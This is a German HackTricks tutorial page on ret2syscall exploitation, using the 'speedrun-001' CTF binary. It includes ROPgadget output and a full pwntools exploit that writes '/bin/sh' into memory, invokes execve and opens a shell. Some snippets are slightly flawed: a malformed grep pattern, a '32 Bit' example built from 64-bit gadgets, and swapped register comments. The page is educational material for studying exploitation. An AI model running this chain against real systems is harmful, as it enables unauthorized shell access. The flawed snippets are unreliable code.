Ret2syscall
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Dies ist ähnlich wie Ret2lib, jedoch werden wir in diesem Fall keine Funktion aus einer Bibliothek aufrufen. In diesem Fall wird alles vorbereitet, um den syscall sys_execve
mit einigen Argumenten aufzurufen, um /bin/sh
auszuführen. Diese Technik wird normalerweise bei statisch kompilierten Binaries durchgeführt, sodass es viele Gadgets und syscall-Anweisungen geben kann.
Um den Aufruf für den syscall vorzubereiten, ist die folgende Konfiguration erforderlich:
rax: 59 Specify sys_execve
rdi: ptr to "/bin/sh" specify file to execute
rsi: 0 specify no arguments passed
rdx: 0 specify no environment variables passed
Im Grunde genommen muss die Zeichenkette /bin/sh
irgendwo geschrieben werden, und dann muss der syscall
ausgeführt werden (unter Berücksichtigung des benötigten Paddings zur Kontrolle des Stacks). Dafür benötigen wir ein Gadget, um /bin/sh
in einem bekannten Bereich zu schreiben.
tip
Ein weiterer interessanter syscall, den man aufrufen kann, ist mprotect
, der es einem Angreifer ermöglichen würde, die Berechtigungen einer Seite im Speicher zu ändern. Dies kann mit ret2shellcode kombiniert werden.
Register-Gadgets
Lass uns damit beginnen, wie man diese Register kontrolliert:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Mit diesen Adressen ist es möglich, den Inhalt im Stack zu schreiben und in die Register zu laden.
Zeichenfolge schreiben
Beschreibbarer Speicher
Zuerst müssen Sie einen beschreibbaren Ort im Speicher finden.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Schreiben Sie eine Zeichenfolge im Speicher
Dann müssen Sie einen Weg finden, um beliebige Inhalte an dieser Adresse zu schreiben.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatisiere ROP-Kette
Der folgende Befehl erstellt eine vollständige sys_execve
ROP-Kette für eine statische Binärdatei, wenn es Write-What-Where-Gadgets und Syscall-Anweisungen gibt:
ROPgadget --binary vuln --ropchain
32 Bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 Bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Fehlende Gadgets
Wenn Ihnen Gadgets fehlen, um beispielsweise /bin/sh
im Speicher zu schreiben, können Sie die SROP-Technik verwenden, um alle Registerwerte (einschließlich RIP und Parameterregister) vom Stack zu steuern:
SROP - Sigreturn-Oriented Programming
Exploit-Beispiel
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Weitere Beispiele & Referenzen
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 Bit, kein PIE, nx, schreibe in einen Speicher einen ROP, um
execve
aufzurufen und dorthin zu springen. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 Bit, nx, kein PIE, schreibe in einen Speicher einen ROP, um
execve
aufzurufen und dorthin zu springen. Um auf den Stack zu schreiben, wird eine Funktion, die mathematische Operationen durchführt, missbraucht. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 Bit, kein PIE, nx, BF Canary, schreibe in einen Speicher einen ROP, um
execve
aufzurufen und dorthin zu springen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.